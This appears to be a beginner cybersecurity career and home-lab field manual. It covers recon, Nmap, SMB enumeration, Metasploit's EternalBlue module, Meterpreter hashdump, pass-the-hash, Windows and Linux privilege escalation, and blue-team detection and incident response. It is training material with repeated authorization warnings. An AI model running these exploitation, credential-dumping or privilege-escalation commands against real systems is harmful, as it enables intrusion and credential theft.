Field Manual

Before you commit to cybersecurity, ask yourself three questions. Where all three overlap — that’s your lane.

The Best Parts of the Job

The people. The community. Knowing your why. When you’re clear on why you’re here — you can lean on it during the hard times.

The Worst Parts — Real Talk

The longer you’re in, the more you’ll see things no human should see — forensics, log analysis, incident investigations. Mental health matters. Take care of yourself. Pace yourself. This isn’t a sprint.

Common Myths — Busted

🎯 The 401(k) Rule: Invest a little every day. Learn something — a video, an article, a lab session. Let it compound. One day you’ll look around and realize you’re actually pretty smart.

Cybersecurity isn’t just offense and defense. Here are the main paths — find yours and stack toward it.

The Cover6 Learning Pipeline

Intro to Cyber → Home Lab Setup → SOC Analyst Prep OR Pentester Prep → Attack & Defend

All free or affordable. All built from this community.

Cybersecurity = protecting systems, networks, and data from attack, damage, or unauthorized access. Three words run this field:

4 Words That Explain 80% of This Field

Security Domains

Threat actors run the spectrum — from script kiddies to nation-states. Know who you’re up against.

Common Attack Types

Your home lab is your most valuable career asset. Not a cert. Not a degree. The lab. This is where skills are built.

Hypervisor Options

Essential VMs to Build First

Install Kali as a VM (not dual boot)

# After downloading VirtualBox + Kali ISO:
# 1. New VM → Linux → Debian 64-bit
# 2. RAM: 4GB minimum, 8GB recommended
# 3. Storage: 50GB minimum
# 4. Mount Kali ISO → boot → install
# 5. Install VirtualBox Guest Additions for clipboard/resize

💡 Pro tip: Run Kali as a VM, not dual-boot. Snapshots let you reset to a clean state before each lab exercise.

Segment your lab network. Never let attack traffic touch your real network.

VirtualBox Network Modes

# Check your interfaces in Kali
ip addr show
ip route show

# Confirm you can reach your target
ping 192.168.10.x

# Never run attack tools against anything
# you don't own or have written authorization for.

Passive recon = gathering intel without touching the target. Like watching a house for a week before trying the door. No footprint. No logs on their end.

Google Dorking

site:target.com                    # All indexed pages
site:target.com filetype:pdf       # PDFs (often contain metadata)
site:target.com filetype:xls       # Spreadsheets — common data leak
intitle:"index of" "backup"        # Open directory listings
inurl:admin login                  # Admin panels
inurl:".env" OR inurl:"config.php" # Config files
"@target.com" filetype:csv         # Email lists

WHOIS & DNS

whois target.com                   # Registrar, org, contacts
dig target.com A                   # IPv4 addresses
dig target.com MX                  # Mail servers
dig target.com TXT                 # SPF, DKIM, verification records
dig target.com NS                  # Name servers
dig @8.8.8.8 target.com any        # Query Google DNS directly

Key Sources

💡 Intel trick: Job postings reveal the firewall stack. LinkedIn reveals the org chart. Neither requires you to touch a single system.

TheHarvester — Email & Subdomain Recon

theHarvester -d target.com -b google
theHarvester -d target.com -b linkedin
theHarvester -d target.com -b all -l 500

Shodan CLI

# Install
pip install shodan

# Search for exposed services
shodan search "apache target.com"
shodan host 1.2.3.4              # Details on a specific IP
shodan count org:"Target Corp"   # How many assets indexed

Recon-ng

recon-ng
> marketplace install all
> workspaces create target
> modules load recon/domains-hosts/google_site_web
> options set SOURCE target.com
> run

Sublist3r — Subdomain Enumeration

sublist3r -d target.com -o subdomains.txt
sublist3r -d target.com -b -p 80,443  # With brute force

You’ve watched the house. Now you’re walking the perimeter. Active scanning means you’re touching the network. Written authorization required. Always. No exceptions.

Core Nmap Commands

# Discovery
nmap -sn 192.168.1.0/24            # Ping sweep — who's alive
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1

# Service & OS Detection
nmap -sV 192.168.1.x               # Service version detection
nmap -O 192.168.1.x                # OS fingerprinting
nmap -sV -O -A 192.168.1.x        # Aggressive — all of the above

# Port Ranges
nmap -p 80,443,445,22 192.168.1.x  # Specific ports
nmap -p- 192.168.1.x               # All 65535 ports (slow)
nmap -p 1-1000 192.168.1.x         # Port range

# Output
nmap -oN scan.txt 192.168.1.x      # Normal output
nmap -oX scan.xml 192.168.1.x      # XML (for import to tools)
nmap -oA fullscan 192.168.1.x      # All formats

Nmap Scripting Engine (NSE)

# Vulnerability scripts
nmap --script vuln 192.168.1.x
nmap --script vuln,safe 192.168.1.x

# SMB enumeration
nmap -p 445 --script smb-enum-shares 192.168.1.x
nmap -p 445 --script smb-enum-users 192.168.1.x
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.x   # EternalBlue check

# HTTP
nmap -p 80,443 --script http-title,http-headers 192.168.1.x

# Default scripts
nmap -sC 192.168.1.x

💡 The -sV flag is your best friend. Version detection turns port numbers into actual attack surface.

SMB (port 445) is one of the richest sources of information on a Windows network — and one of the most exploited. Never ignore port 445.

SMB Enumeration

# Enumerate shares
smbclient -L //192.168.1.x -N         # Anonymous listing
smbclient //192.168.1.x/share -N      # Connect anonymously

# Enum4linux — full Windows enumeration
enum4linux -a 192.168.1.x
enum4linux -U 192.168.1.x            # Users
enum4linux -S 192.168.1.x            # Shares
enum4linux -P 192.168.1.x            # Password policy

# CrackMapExec
crackmapexec smb 192.168.1.0/24      # Network sweep
crackmapexec smb 192.168.1.x -u '' -p ''  # Null session

Windows Enumeration Commands (Once You Have a Shell)

whoami /all                 # Current user + privileges
net user                    # All local users
net user username           # Specific user details
net localgroup              # All local groups
net localgroup Administrators  # Members of Admins group
systeminfo                  # OS, patches, hotfixes
ipconfig /all               # All network interfaces
netstat -ano                # Active connections + PIDs
tasklist /v                 # Running processes
wmic product get name       # Installed software

Every open port is a door. Your job is to know what’s behind each one.

Banner Grabbing

nc -zv 192.168.1.x 22           # Check if port is open
nc 192.168.1.x 22               # Grab the banner
curl -I http://192.168.1.x      # HTTP header grab

IPv6 is already on your network. Most orgs don’t know it. Organizations spend years hardening IPv4 and leave IPv6 wide open. That’s a pivot path for attackers.

Address Format

Key Differences from IPv4

Essential IPv6 Commands

# Linux
ip -6 addr                          # Show IPv6 addresses
ip -6 route                         # IPv6 routing table
ping6 fe80::1%eth0                  # Ping link-local (specify interface)

# Enumerate IPv6 on the network
nmap -6 -sn fe80::/64               # Scan link-local range
nmap -6 2001:db8::/64               # Scan global range

# DNS
dig AAAA target.com                 # IPv6 DNS record
dig -6 target.com                   # Query over IPv6

🚨 Assessment finding: If you find IPv6 on a network and the client has no monitoring for it — that’s a documented finding every time.

Wireshark is the truth machine. Everything that moves on the wire is visible here. When you can read a packet capture, you can see things no one else can see.

Display Filters — Learn These Cold

ip.addr == 192.168.1.5             # Traffic to/from a specific IP
ip.src == 192.168.1.5             # Traffic FROM this IP
ip.dst == 192.168.1.5             # Traffic TO this IP
tcp.port == 80                     # HTTP traffic
tcp.port == 443                    # HTTPS traffic
http                               # All HTTP
dns                                # All DNS queries/responses
icmp                               # Ping traffic
smtp || pop3 || imap               # Email protocols
!(arp || dns || icmp)              # Filter out noise

Key Actions

Capture Filters (Before You Capture)

host 192.168.1.5                   # Only traffic to/from this host
port 80 or port 443                # Only web traffic
net 192.168.1.0/24                 # Only this subnet
not port 22                        # Exclude SSH

💡 “This is where the story lives.” When you follow a TCP stream, you see the full conversation — not just individual packets. HTTP requests and responses are in plain text.

Assessment asks: what vulnerabilities exist? Pentest asks: what can we actually break? Those are different questions with different scopes and deliverables.

The Assessment Workflow

Scope → Scan → Validate → Document → Report → Rescan

Nmap Vulnerability Scripts

nmap --script vuln 192.168.1.x
nmap --script vuln,safe 192.168.1.x     # Safe scripts only
nmap -p 445 --script smb-vuln-ms17-010  # EternalBlue
nmap -p 443 --script ssl-heartbleed     # Heartbleed
nmap --script http-vuln-* 192.168.1.x  # All HTTP vuln scripts

CVSS Scoring Reference

⚠️ False positives are real. A tool saying a vulnerability exists doesn’t mean it’s exploitable. Validate before you document.

Nessus Essentials is free for up to 16 IPs. That’s your entire home lab. Download it tonight.

Setup

# Download from: tenable.com/products/nessus/nessus-essentials
# Register for a free activation code
# Install on Kali or Ubuntu:
dpkg -i Nessus-*.deb
systemctl start nessusd
# Access at: https://localhost:8834

Scan Types

Reading Results

# Sort by CVSS severity — Critical first
# Click any finding for:
#   - Description
#   - Solution
#   - CVE references
#   - Plugin output (evidence)

# Export: Reports → Export → CSV or PDF

💡 Run scans monthly in your lab. Show your improvement over time. That’s what a security program looks like — measurable progress.

Exploitation = turning a vulnerability into access. This is where theory meets practice. Do this in your lab. Never on systems you don’t own.

Metasploit Framework

msfconsole                         # Launch Metasploit

# Find an exploit
search ms17-010                    # EternalBlue
search type:exploit platform:windows smb

# Use and configure
use exploit/windows/smb/ms17_010_eternalblue
show options                       # What needs to be set
set RHOSTS 192.168.1.x
set LHOST 192.168.1.attack         # Your Kali IP
run                                # Execute

Three Components of Every Exploit

Shells — Bind vs Reverse

# Meterpreter basic commands (after getting a session)
sysinfo          # System info
getuid           # Current user
hashdump         # Dump password hashes (if admin)
shell            # Drop to cmd.exe
upload file.exe /tmp/   # Upload a file
download file.txt /tmp/ # Download a file

🔬 Metasploitable 2 is your practice target — intentionally vulnerable, built for this. Set it up in your lab and work through every service on it.

Getting in is step one. What you do next is the actual skill. Post-exploitation is about understanding what access you have and what you can do with it.

The Post-Exploitation Checklist

Pass-the-Hash

# You don't need to crack the hash — you can use it directly
evil-winrm -i 192.168.1.x -u Administrator -H <NTLM-HASH>
crackmapexec smb 192.168.1.0/24 -u Administrator -H <NTLM-HASH>

Goal: get from a low-privilege user to SYSTEM or Administrator. Check these vectors in order.

# What privileges do I have?
whoami /priv
whoami /groups

# Unquoted service paths
wmic service get name,pathname,startmode | findstr /v """"  | findstr /v "C:\Windows"

# Weak service permissions
accesschk.exe -uwcqv "Everyone" * 2>/dev/null
accesschk.exe -uwcqv "Users" *

# Scheduled tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr "Task To Run\|Run As User"

# AlwaysInstallElevated (MSI installs as SYSTEM if set)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Stored credentials
cmdkey /list
reg query HKLM /f password /t REG_SZ /s

Automated Tools

📚 Reference: Fuzzy Security’s Windows Privilege Escalation guide. Bookmark it. Search it every engagement.

Four vectors I check every time on Linux. Work through all four before moving on.

1. SUID Binaries

find / -perm -u=s -type f 2>/dev/null
# If you find anything unusual — check GTFOBins
# gtfobins.github.io

2. Cron Jobs Running as Root

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Look for scripts you can write to that run as root

3. Sudo Misconfigurations

sudo -l                    # What can you run as sudo?
# If you see (ALL) NOPASSWD: /usr/bin/find
# sudo find . -exec /bin/sh \; -quit   → instant root

4. Writable PATH Entries

echo $PATH
# If /tmp or . is in PATH, you can hijack commands
ls -la /usr/local/bin /usr/bin  # Check write perms

Additional Checks

cat /etc/passwd             # Users with shells
cat /etc/shadow             # Password hashes (if readable — rare)
find / -name "*.bak" -o -name "*.conf" 2>/dev/null | xargs grep -i passw
uname -a                   # Kernel version → check for kernel exploits

If you understand Active Directory, you understand enterprise security. AD is the backbone of every Windows shop — authentication, authorization, and access for every user and machine.

Why AD Attacks Dominate Pentesting

One misconfigured account can give you the keys to the kingdom. The three AD attacks every analyst needs to know:

BloodHound — Attack Path Mapping

# Collect data from domain (as domain user)
SharpHound.exe -c All

# Or remotely with bloodhound-python
bloodhound-python -u user -p pass -d domain.local -c All

# Open BloodHound → import ZIP → find shortest path to Domain Admin

Blue Team: What to Monitor

# Windows Event IDs to alert on:
4625    # Failed login attempt
4648    # Login with explicit credentials (lateral movement)
4672    # Special privilege logon (admin)
4688    # New process created (execution)
4698    # Scheduled task created
7045    # New service installed
4724    # Password reset attempt

💡 Add a Windows Server or Active Directory VM to your lab. Learning AD on your own domain controller = immediately transferable skills.

“If it didn’t get logged, it didn’t happen — and that is the attacker’s best friend.” SOC analysts live in the SIEM. This is your first language if blue team is your path.

Free SIEM Tools for Your Lab

Splunk Queries — Learn These

# Failed logins
index=wineventlog EventCode=4625 | stats count by src_ip

# Top talkers on the network
index=network | stats sum(bytes) as total by src_ip | sort -total

# Detect port scanning
index=network | stats dc(dest_port) as ports by src_ip | where ports > 50

# Privilege escalation events
index=wineventlog (EventCode=4672 OR EventCode=4673) | table _time, user, src_ip

What You’re Hunting

IR is where the money is. Every organization needs someone who can keep a cool head when everything’s on fire.

The IR Lifecycle — Memorize This in Order

First 15 Minutes of an Incident

1. CONTAIN — isolate the affected system(s) from the network
2. SCOPE — determine the blast radius
3. DOCUMENT — timestamp everything you touch and find
4. ESCALATE — notify your IR lead and management per the plan
5. PRESERVE — don't wipe anything until forensics is done

Chain of Custody

Document everything with timestamps — what you touched, when, and what you found. In a legal proceeding, that documentation is evidence. Handle it accordingly.

⚠️ The worst time to figure out your IR process is during an actual breach. Run tabletop exercises before you need them.

CTFs are your practice range and your portfolio at the same time. Every writeup you publish is a portfolio piece. Employers notice people who build in public.

Your First 10 CTF Writeups

1. Document your methodology — not just the answer
2. Include: reconnaissance → enumeration → exploitation → flags
3. Post to GitHub or a personal blog
4. Link it on LinkedIn
5. Repeat

Your first 10 writeups = your first 10 portfolio pieces.
Consistency is more impressive than a cert.

TryHackMe Learning Paths (Recommended Order)

Built by the community, for the community. All free or affordable.

Community Resources

🎯 Your next steps: Create a TryHackMe account → install Kali in VirtualBox → download the Security+ exam objectives → show up at the next meetup. That’s it. That’s the whole plan.

Security+ first. Always. It’s the baseline. It proves you understand the fundamentals. Every other cert builds on it.

Entry-Level Certifications

Intermediate — Choose Your Path

Study Method That Works

Step 1: Download the exam objectives (free from CompTIA)
Step 2: Build a slide deck — one slide per objective
Step 3: Explain each objective out loud (Feynman technique)
Step 4: Professor Messer videos — free, comprehensive
Step 5: Practice exams until you score 85%+ consistently
Step 6: Schedule the exam when you're hitting 85%+

💡 Cert maintenance matters. CompTIA certs expire every 3 years. Earn CPE credits through conferences, training, and community contributions to renew without retesting.

The technical skills get you considered. The human skills get you hired.

The Basketball Court Analogy

Hiring works like pickup basketball. You don’t get picked because you asked nicely — you get picked because people watched you practice. Your lab work, writeups, conference talks, LinkedIn activity, GitHub repos — that’s you on the sideline showing you can ball. The people who get picked are the ones who are visibly doing the work.

How to Ask for Help (The Right Way)

"I've been trying to [do X]. I tried [A, B, C, D]. 
I've been at it for [X days]. Nothing is working. 
Can you help?"

Show your work. Show effort. Then ask.
People will help someone who's genuinely trying.

Recommended Actions This Week

Key Community Platforms